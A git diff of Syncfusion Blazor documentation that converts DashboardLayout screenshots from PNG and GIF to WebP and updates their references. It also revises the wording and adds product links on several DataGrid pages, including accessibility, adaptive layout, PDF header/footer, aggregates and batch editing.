deleted file mode 100644
index 29102d2fb3..0000000000
Binary files a/blazor/dashboard-layout/images/chart-component.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/chart-component.webp b/blazor/dashboard-layout/images/chart-component.webp
new file mode 100644
index 0000000000..5432998a18
Binary files /dev/null and b/blazor/dashboard-layout/images/chart-component.webp differ
diff --git a/blazor/dashboard-layout/images/dashboard-output.png b/blazor/dashboard-layout/images/dashboard-output.png
deleted file mode 100644
index b99b741ccf..0000000000
Binary files a/blazor/dashboard-layout/images/dashboard-output.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/dashboard-output.webp b/blazor/dashboard-layout/images/dashboard-output.webp
new file mode 100644
index 0000000000..5c564cbe05
Binary files /dev/null and b/blazor/dashboard-layout/images/dashboard-output.webp differ
diff --git a/blazor/dashboard-layout/images/default.png b/blazor/dashboard-layout/images/default.png
deleted file mode 100644
index 189b54c238..0000000000
Binary files a/blazor/dashboard-layout/images/default.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/default.webp b/blazor/dashboard-layout/images/default.webp
new file mode 100644
index 0000000000..2319ed4e04
Binary files /dev/null and b/blazor/dashboard-layout/images/default.webp differ
diff --git a/blazor/dashboard-layout/images/draggableHandler.png b/blazor/dashboard-layout/images/draggableHandler.png
deleted file mode 100644
index 56f62b7d9b..0000000000
Binary files a/blazor/dashboard-layout/images/draggableHandler.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/draggableHandler.webp b/blazor/dashboard-layout/images/draggableHandler.webp
new file mode 100644
index 0000000000..a71cea6872
Binary files /dev/null and b/blazor/dashboard-layout/images/draggableHandler.webp differ
diff --git a/blazor/dashboard-layout/images/dragging-of-panels.png b/blazor/dashboard-layout/images/dragging-of-panels.png
deleted file mode 100644
index 875eb26a4c..0000000000
Binary files a/blazor/dashboard-layout/images/dragging-of-panels.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/dragging-of-panels.webp b/blazor/dashboard-layout/images/dragging-of-panels.webp
new file mode 100644
index 0000000000..ba575979b0
Binary files /dev/null and b/blazor/dashboard-layout/images/dragging-of-panels.webp differ
diff --git a/blazor/dashboard-layout/images/giphy.gif b/blazor/dashboard-layout/images/giphy.gif
deleted file mode 100644
index 7c7d178dbe..0000000000
Binary files a/blazor/dashboard-layout/images/giphy.gif and /dev/null differ
diff --git a/blazor/dashboard-layout/images/giphy.webp b/blazor/dashboard-layout/images/giphy.webp
new file mode 100644
index 0000000000..b1b2890eff
Binary files /dev/null and b/blazor/dashboard-layout/images/giphy.webp differ
diff --git a/blazor/dashboard-layout/images/graphical.png b/blazor/dashboard-layout/images/graphical.png
deleted file mode 100644
index a0210dc4ff..0000000000
Binary files a/blazor/dashboard-layout/images/graphical.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/graphical.webp b/blazor/dashboard-layout/images/graphical.webp
new file mode 100644
index 0000000000..5e83b837c5
Binary files /dev/null and b/blazor/dashboard-layout/images/graphical.webp differ
diff --git a/blazor/dashboard-layout/images/header-content-panels.png b/blazor/dashboard-layout/images/header-content-panels.png
deleted file mode 100644
index 42224b29ea..0000000000
Binary files a/blazor/dashboard-layout/images/header-content-panels.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/header-content-panels.webp b/blazor/dashboard-layout/images/header-content-panels.webp
new file mode 100644
index 0000000000..26b3fda3ae
Binary files /dev/null and b/blazor/dashboard-layout/images/header-content-panels.webp differ
diff --git a/blazor/dashboard-layout/images/panel-overlap.png b/blazor/dashboard-layout/images/panel-overlap.png
deleted file mode 100644
index 9c804453ac..0000000000
Binary files a/blazor/dashboard-layout/images/panel-overlap.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/panel-overlap.webp b/blazor/dashboard-layout/images/panel-overlap.webp
new file mode 100644
index 0000000000..f9625bb204
Binary files /dev/null and b/blazor/dashboard-layout/images/panel-overlap.webp differ
diff --git a/blazor/dashboard-layout/images/panels.png b/blazor/dashboard-layout/images/panels.png
deleted file mode 100644
index a7f28ef142..0000000000
Binary files a/blazor/dashboard-layout/images/panels.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/panels.webp b/blazor/dashboard-layout/images/panels.webp
new file mode 100644
index 0000000000..4cf8ed229c
Binary files /dev/null and b/blazor/dashboard-layout/images/panels.webp differ
diff --git a/blazor/dashboard-layout/images/position-of-panels.png b/blazor/dashboard-layout/images/position-of-panels.png
deleted file mode 100644
index fe3f614358..0000000000
Binary files a/blazor/dashboard-layout/images/position-of-panels.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/position-of-panels.webp b/blazor/dashboard-layout/images/position-of-panels.webp
new file mode 100644
index 0000000000..bed3360cb1
Binary files /dev/null and b/blazor/dashboard-layout/images/position-of-panels.webp differ
diff --git a/blazor/dashboard-layout/images/presistence-sample.png b/blazor/dashboard-layout/images/presistence-sample.png
deleted file mode 100644
index 64c66142b4..0000000000
Binary files a/blazor/dashboard-layout/images/presistence-sample.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/presistence-sample.webp b/blazor/dashboard-layout/images/presistence-sample.webp
new file mode 100644
index 0000000000..cb538774bf
Binary files /dev/null and b/blazor/dashboard-layout/images/presistence-sample.webp differ
diff --git a/blazor/dashboard-layout/images/resizing-of-panels.png b/blazor/dashboard-layout/images/resizing-of-panels.png
deleted file mode 100644
index 63abac5dae..0000000000
Binary files a/blazor/dashboard-layout/images/resizing-of-panels.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/resizing-of-panels.webp b/blazor/dashboard-layout/images/resizing-of-panels.webp
new file mode 100644
index 0000000000..c2d9f1b114
Binary files /dev/null and b/blazor/dashboard-layout/images/resizing-of-panels.webp differ
diff --git a/blazor/dashboard-layout/images/responsive-adaptive.png b/blazor/dashboard-layout/images/responsive-adaptive.png
deleted file mode 100644
index 391762c4ba..0000000000
Binary files a/blazor/dashboard-layout/images/responsive-adaptive.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/responsive-adaptive.webp b/blazor/dashboard-layout/images/responsive-adaptive.webp
new file mode 100644
index 0000000000..e04de47229
Binary files /dev/null and b/blazor/dashboard-layout/images/responsive-adaptive.webp differ
diff --git a/blazor/dashboard-layout/images/script-default.png b/blazor/dashboard-layout/images/script-default.png
deleted file mode 100644
index 030c0d5499..0000000000
Binary files a/blazor/dashboard-layout/images/script-default.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/script-default.webp b/blazor/dashboard-layout/images/script-default.webp
new file mode 100644
index 0000000000..7d262d11c3
Binary files /dev/null and b/blazor/dashboard-layout/images/script-default.webp differ
diff --git a/blazor/dashboard-layout/images/sizing-of-panels.png b/blazor/dashboard-layout/images/sizing-of-panels.png
deleted file mode 100644
index 5bb0e65e29..0000000000
Binary files a/blazor/dashboard-layout/images/sizing-of-panels.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/sizing-of-panels.webp b/blazor/dashboard-layout/images/sizing-of-panels.webp
new file mode 100644
index 0000000000..2d3448c5fe
Binary files /dev/null and b/blazor/dashboard-layout/images/sizing-of-panels.webp differ
diff --git a/blazor/dashboard-layout/images/source.gif b/blazor/dashboard-layout/images/source.gif
deleted file mode 100644
index 7e9721451e..0000000000
Binary files a/blazor/dashboard-layout/images/source.gif and /dev/null differ
diff --git a/blazor/dashboard-layout/images/source.webp b/blazor/dashboard-layout/images/source.webp
new file mode 100644
index 0000000000..1aadbb66de
Binary files /dev/null and b/blazor/dashboard-layout/images/source.webp differ
diff --git a/blazor/dashboard-layout/images/stacked-layout.png b/blazor/dashboard-layout/images/stacked-layout.png
deleted file mode 100644
index 26a61d8ad9..0000000000
Binary files a/blazor/dashboard-layout/images/stacked-layout.png and /dev/null differ
diff --git a/blazor/dashboard-layout/images/stacked-layout.webp b/blazor/dashboard-layout/images/stacked-layout.webp
new file mode 100644
index 0000000000..f179e594a8
Binary files /dev/null and b/blazor/dashboard-layout/images/stacked-layout.webp differ
diff --git a/blazor/dashboard-layout/interaction-with-panels/dragging-moving-of-panels.md b/blazor/dashboard-layout/interaction-with-panels/dragging-moving-of-panels.md
index f250668821..45c8da4ab6 100644
--- a/blazor/dashboard-layout/interaction-with-panels/dragging-moving-of-panels.md
+++ b/blazor/dashboard-layout/interaction-with-panels/dragging-moving-of-panels.md
@@ -49,7 +49,7 @@ The sample above demonstrates both dragging and the automatic pushing of panels.
 
 The following output illustrates the dragging functionality of the dashboard component:
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZBeMsigAIcgTaPQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Drag and Drop Panels in Blazor DashboardLayout](../images/blazor-dashboard-layout-drag-and-drop.gif)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZBeMsigAIcgTaPQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Drag and Drop Panels in Blazor DashboardLayout](../images/blazor-dashboard-layout-drag-and-drop.webp)" %}
 
 ## Customizing the Drag Handle
 
@@ -91,4 +91,4 @@ The draggable handle for panels can be customized using the [`DraggableHandle`](
 
 The following output demonstrates customizing the dragging handle, where panels can only be dragged by interacting with their header section.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLyiMsUAeyvtIeu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5 backgroundimage "[Customizing Dragging Handler of Panels in Blazor DashboardLayout](../images/blazor-dashboard-layout-drag-handler-of-panels.gif)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLyiMsUAeyvtIeu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5 backgroundimage "[Customizing Dragging Handler of Panels in Blazor DashboardLayout](../images/blazor-dashboard-layout-drag-handler-of-panels.webp)" %}
\ No newline at end of file
diff --git a/blazor/dashboard-layout/interaction-with-panels/floating-of-panels.md b/blazor/dashboard-layout/interaction-with-panels/floating-of-panels.md
index b9d3c785a2..d9470c62f3 100644
--- a/blazor/dashboard-layout/interaction-with-panels/floating-of-panels.md
+++ b/blazor/dashboard-layout/interaction-with-panels/floating-of-panels.md
@@ -41,4 +41,4 @@ The DashboardLayout component includes a panel floating functionality controlled
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBUCVrcTKrdWwSb?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Floating Panels in Blazor DashboardLayout](../images/blazor-dashboard-layout-panel-resizing.gif)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBUCVrcTKrdWwSb?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Floating Panels in Blazor DashboardLayout](../images/blazor-dashboard-layout-panel-resizing.webp)" %}
\ No newline at end of file
diff --git a/blazor/dashboard-layout/interaction-with-panels/resizing-of-panels.md b/blazor/dashboard-layout/interaction-with-panels/resizing-of-panels.md
index 9847d99668..53db18a76d 100644
--- a/blazor/dashboard-layout/interaction-with-panels/resizing-of-panels.md
+++ b/blazor/dashboard-layout/interaction-with-panels/resizing-of-panels.md
@@ -41,6 +41,6 @@ The Dashboard Layout component provides panel resizing functionality, which can
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVAsBVwTABPvxgH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Resizing Panels in Blazor DashboardLayout](../images/blazor-dashboard-layout-panel-resizing.gif)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVAsBVwTABPvxgH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Resizing Panels in Blazor DashboardLayout](../images/blazor-dashboard-layout-panel-resizing.webp)" %}
 
 N> Initially, the panels can be resized only in south-east direction. However, panels can also be resized in east, west, north, south, and south-west directions by defining the required directions with the [`ResizableHandles`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Layouts.SfDashboardLayout.html#Syncfusion_Blazor_Layouts_SfDashboardLayout_ResizableHandles) property.
\ No newline at end of file
diff --git a/blazor/dashboard-layout/panels/position-sizing-of-panels.md b/blazor/dashboard-layout/panels/position-sizing-of-panels.md
index c89fac426a..dfbf1323af 100644
--- a/blazor/dashboard-layout/panels/position-sizing-of-panels.md
+++ b/blazor/dashboard-layout/panels/position-sizing-of-panels.md
@@ -70,7 +70,7 @@ Panels within the layout can be precisely positioned and ordered using the [`Row
 
 The following screenshot illustrates panel positioning within the Dashboard Layout, utilizing the `Row` and `Column` properties:
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDVgMhrwzVWhKSrw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Panels Position in Blazor DashBoard Layout](../images/blazor-dashboard-layout-panel-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDVgMhrwzVWhKSrw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Panels Position in Blazor DashBoard Layout](../images/blazor-dashboard-layout-panel-position.webp)" %}
 
 ## Sizing of Panels
 
@@ -119,4 +119,4 @@ These properties are invaluable when designing dashboards where the content and
 
 The following screenshot demonstrates the sizing of panels within the Dashboard Layout, using the `SizeX` and `SizeY` properties:
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZLKMLhcprCIqVxL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Panel Size in Blazor Dashboard Layout](../images/blazor-admin-template-layout-panel-size.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZLKMLhcprCIqVxL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Panel Size in Blazor Dashboard Layout](../images/blazor-admin-template-layout-panel-size.webp)" %}
\ No newline at end of file
diff --git a/blazor/dashboard-layout/panels/setting-header-of-panels.md b/blazor/dashboard-layout/panels/setting-header-of-panels.md
index 3955f17a2e..fee1dfb9eb 100644
--- a/blazor/dashboard-layout/panels/setting-header-of-panels.md
+++ b/blazor/dashboard-layout/panels/setting-header-of-panels.md
@@ -53,4 +53,4 @@ The Blazor Dashboard Layout component utilizes two primary templates for renderi
 ```
 The following output demonstrates the use of `HeaderTemplate` and `ContentTemplate` to define the header and content of panels:
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLAMVLGpBoyKHBy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dashboard Layout with Header.](../images/blazor-admin-template-layout-with-header.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLAMVLGpBoyKHBy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Dashboard Layout with Header.](../images/blazor-admin-template-layout-with-header.webp)" %}
diff --git a/blazor/datagrid/accessibility.md b/blazor/datagrid/accessibility.md
index 0b2ac4a7f8..64f9a6eb8c 100644
--- a/blazor/datagrid/accessibility.md
+++ b/blazor/datagrid/accessibility.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Accessibility in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is built to support widely accepted accessibility standards. These standards help ensure that the component is usable by individuals with varying abilities, including those using assistive technologies.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) is built to support widely accepted accessibility standards. These standards help ensure that the component is usable by individuals with varying abilities, including those using assistive technologies.
 Supported guidelines include:
 
 - [Americans with Disabilities Act (ADA)]((https://www.ada.gov/))
@@ -44,7 +44,7 @@ Supported guidelines include:
 
 ## WAI-ARIA attributes
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid implements the [WAI-ARIA grid pattern](https://www.w3.org/WAI/ARIA/apg/patterns/grid/) to support accessibility requirements. This ensures compatibility with assistive technologies such as screen readers, including **JAWS** and **NVDA**. WAI-ARIA (Web Accessibility Initiative – Accessible Rich Internet Applications) attributes define roles, states, and properties that make the DataGrid accessible to individuals with disabilities.
+The Blazor DataGrid implements the [WAI-ARIA grid pattern](https://www.w3.org/WAI/ARIA/apg/patterns/grid/) to support accessibility requirements. This ensures compatibility with assistive technologies such as screen readers, including **JAWS** and **NVDA**. WAI-ARIA (Web Accessibility Initiative – Accessible Rich Internet Applications) attributes define roles, states, and properties that make the DataGrid accessible to individuals with disabilities.
 
 | Attribute | Purpose |
 |-----------|---------|
@@ -87,7 +87,7 @@ To improve accessibility, apply page landmarks, assign unique labels to search r
 
 ## Keyboard interaction
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports keyboard navigation based on the ARIA grid [keyboard interaction](https://www.w3.org/WAI/ARIA/apg/patterns/grid/#keyboard-interaction) guidelines. This enables efficient navigation for scenarios involving keyboard input or assistive technologies.
+The Blazor DataGrid supports keyboard navigation based on the ARIA grid [keyboard interaction](https://www.w3.org/WAI/ARIA/apg/patterns/grid/#keyboard-interaction) guidelines. This enables efficient navigation for scenarios involving keyboard input or assistive technologies.
 
 The supported keyboard shortcuts are listed below.
 
@@ -203,7 +203,7 @@ For example:
 
 ## Ensuring accessibility
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is validated for accessibility using [axe-core](https://www.nuget.org/packages/Deque.AxeCore.Playwright) integrated with Playwright tests.
+The Blazor DataGrid is validated for accessibility using [axe-core](https://www.nuget.org/packages/Deque.AxeCore.Playwright) integrated with Playwright tests.
 Accessibility compliance can be evaluated using the interactive [sample](https://blazor.syncfusion.com/accessibility/datagrid), which demonstrates the Grid's behavior with accessibility tools and validation steps.
 
 ## See also
diff --git a/blazor/datagrid/adaptive-layout.md b/blazor/datagrid/adaptive-layout.md
index 1c491114df..ea79209e34 100644
--- a/blazor/datagrid/adaptive-layout.md
+++ b/blazor/datagrid/adaptive-layout.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Adaptive UI Layout in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid includes an adaptive user interface designed for optimal usability on small screens. When enabled, the Grid renders filter, sort, column chooser, column menu (supported only when [RowRenderingMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RowRenderingMode) is **Horizontal**), and edit dialogs in a full-screen, mobile-friendly layout. It also provides an option to render Grid row elements vertically for improved readability on narrow viewport.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) includes an adaptive user interface designed for optimal usability on small screens. When enabled, the Grid renders filter, sort, column chooser, column menu (supported only when [RowRenderingMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RowRenderingMode) is **Horizontal**), and edit dialogs in a full-screen, mobile-friendly layout. It also provides an option to render Grid row elements vertically for improved readability on narrow viewport.
 
 To learn how **Adaptive UI Layout** works in the Grid, watch the following video.
 
@@ -17,7 +17,7 @@ To learn how **Adaptive UI Layout** works in the Grid, watch the following video
 
 ## Render adaptive dialogs
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can render adaptive dialogs to enhance the user experience on smaller screens. Enable the [`EnableAdaptiveUI`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableAdaptiveUI) property to display filter, sort, and edit dialogs in full-screen mode. This is especially helpful on devices with limited screen space.
+The Blazor DataGrid can render adaptive dialogs to enhance the user experience on smaller screens. Enable the [`EnableAdaptiveUI`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableAdaptiveUI) property to display filter, sort, and edit dialogs in full-screen mode. This is especially helpful on devices with limited screen space.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -238,7 +238,7 @@ public static List<AdaptiveDetails> AdaptiveModels = new List<AdaptiveDetails>()
 
 ## Vertical row rendering
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports vertical row rendering, which displays row elements in a vertical order. This layout can improve data readability on smaller screens. Enable this by setting the [`RowRenderingMode`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RowRenderingMode) property to **Vertical**.
+The Blazor DataGrid supports vertical row rendering, which displays row elements in a vertical order. This layout can improve data readability on smaller screens. Enable this by setting the [`RowRenderingMode`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_RowRenderingMode) property to **Vertical**.
 
 > The default row rendering mode is **Horizontal**.
 
diff --git a/blazor/datagrid/adding-header-and-footer.md b/blazor/datagrid/adding-header-and-footer.md
index 5058dae5ed..3946b3e515 100644
--- a/blazor/datagrid/adding-header-and-footer.md
+++ b/blazor/datagrid/adding-header-and-footer.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Adding header and footer in Blazor DataGrid 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports customizing header and footer sections in PDF exports. These regions can include:
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports customizing header and footer sections in PDF exports. These regions can include:
 
 * **Text** – Titles, dates, or disclaimers.
 * **Page Numbers** – For easy navigation.
@@ -19,7 +19,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports cu
 
 ## Adding text in header and footer
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports adding custom text to header and footer regions in PDF exports.
+The Blazor DataGrid supports adding custom text to header and footer regions in PDF exports.
 
 * The **header** appears at the top of each page and can include elements such as a document title, company logo, or date and metadata. This section is typically used for branding and document identification.
 
@@ -169,7 +169,7 @@ public class OrderData
 
 ## Draw a line in header and footer
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports drawing lines in header and footer regions when exporting to PDF. **Lines** are commonly used to visually separate these regions from the main content.
+The Blazor DataGrid supports drawing lines in header and footer regions when exporting to PDF. **Lines** are commonly used to visually separate these regions from the main content.
 
 **Supported Line Styles**
 
@@ -373,7 +373,7 @@ public class OrderData
 
 ## Add page number in header and footer
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports adding page numbers to header and footer regions when exporting to PDF. This feature improves document navigation and readability.
+The Blazor DataGrid supports adding page numbers to header and footer regions when exporting to PDF. This feature improves document navigation and readability.
 
 Page numbers are configured using [PdfExportProperties](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.PdfExportProperties.html). Set the [ContentType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ContentType.html#Syncfusion_Blazor_Grids_ContentType) to [PageNumber](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ContentType.html#Syncfusion_Blazor_Grids_ContentType_PageNumber) when adding page numbers to the header or footer.
 
@@ -540,7 +540,7 @@ public class OrderData
 
 ## Insert an image in header and footer
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports adding images, such as company logos, to header and footer regions when exporting to PDF. This feature is useful for branding and document personalization.
+The Blazor DataGrid supports adding images, such as company logos, to header and footer regions when exporting to PDF. This feature is useful for branding and document personalization.
 
 To insert an image:
 
@@ -669,7 +669,7 @@ public class OrderData
 
 ## Repeat column header on every page
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports repeating column headers on every page of a PDF export. This ensures headers remain visible when the content spans multiple pages. By default, headers appear only on the first page.
+The Blazor DataGrid supports repeating column headers on every page of a PDF export. This ensures headers remain visible when the content spans multiple pages. By default, headers appear only on the first page.
 
 To enable this feature:
 
diff --git a/blazor/datagrid/aggregates.md b/blazor/datagrid/aggregates.md
index d9bdd75199..6a2c88ee46 100644
--- a/blazor/datagrid/aggregates.md
+++ b/blazor/datagrid/aggregates.md
@@ -10,7 +10,7 @@ documentation: ug
 
 # Aggregates in Blazor DataGrid
 
-The aggregates feature in the Syncfusion Blazor DataGrid displays summary values in the footer, group footer, and group caption. It enables computing summary information for specific columns and presenting it at key locations in the DataGrid. Configure aggregates with the GridAggregates component. For each aggregate column, specify at least the [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_Field) and [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_Type) properties.
+The aggregates feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) displays summary values in the footer, group footer, and group caption. It enables computing summary information for specific columns and presenting it at key locations in the DataGrid. Configure aggregates with the GridAggregates component. For each aggregate column, specify at least the [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_Field) and [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_Type) properties.
 
 For customized rendering, use aggregate templates and access values via AggregateTemplateContext (for example, **Sum, Average, Min, Max, Count, TrueCount**, and **FalseCount**). See: [AggregateTemplateContext](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.AggregateTemplateContext.html) and [AggregateType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.AggregateType.html).
 
@@ -135,7 +135,7 @@ N> Group footer and group caption aggregates appear when grouping is enabled and
 
 ## Built-in aggregate types
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides several built-in aggregate types that can be assigned via the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_Type) property on an aggregate column.
+The Blazor DataGrid provides several built-in aggregate types that can be assigned via the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_Type) property on an aggregate column.
 
 The available built-in aggregate types are :
 
diff --git a/blazor/datagrid/batch-editing.md b/blazor/datagrid/batch-editing.md
index 87172dce4e..177fc4d3f3 100644
--- a/blazor/datagrid/batch-editing.md
+++ b/blazor/datagrid/batch-editing.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Batch editing in Blazor DataGrid
 
-Batch editing enables simultaneous editing of multiple cells in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid. This mode allows efficient updates by double-clicking a cell to enter edit mode, then applying changes via the **Update** toolbar button or the [ApplyBatchChangesAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ApplyBatchChangesAsync_Syncfusion_Blazor_Grids_BatchChanges__0__) method.
+Batch editing enables simultaneous editing of multiple cells in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid). This mode allows efficient updates by double-clicking a cell to enter edit mode, then applying changes via the **Update** toolbar button or the [ApplyBatchChangesAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ApplyBatchChangesAsync_Syncfusion_Blazor_Grids_BatchChanges__0__) method.
 
 To enable batch editing mode, set the [GridEditSettings.Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Mode) property to **Batch**. This property defines the editing behavior of the Grid and activates batch editing, allowing multiple cell values to be modified simultaneously before committing changes.
 
@@ -80,7 +80,7 @@ public class OrderDetails
 
 ## Automatically update the column based on another column edited value
 
-In batch editing mode, the Syncfusion Blazor DataGrid supports automatic updates of one column based on changes made to another. This is useful for scenarios where calculated values need to be updated in real time during editing.
+In batch editing mode, the Blazor DataGrid supports automatic updates of one column based on changes made to another. This is useful for scenarios where calculated values need to be updated in real time during editing.
 
 To implement automatic column updates during batch editing, define a calculated column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property. When a related column value is edited, the [CellSaved](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_CellSaved) event can be used to detect the change. The updated value for the calculated column can then be applied using the [UpdateCellAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_UpdateCellAsync_System_Int32_System_String_System_Object_) method, ensuring real-time synchronization of dependent values within the Grid.
 
@@ -191,7 +191,7 @@ public class ProductDetails
 
 ## Cancel edit based on condition
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports conditional cancellation of CRUD operations—Edit, Add, and Delete—in batch editing mode. This feature allows control over whether specific rows or cells can be modified, based on custom logic.
+The Blazor DataGrid supports conditional cancellation of CRUD operations—Edit, Add, and Delete—in batch editing mode. This feature allows control over whether specific rows or cells can be modified, based on custom logic.
 
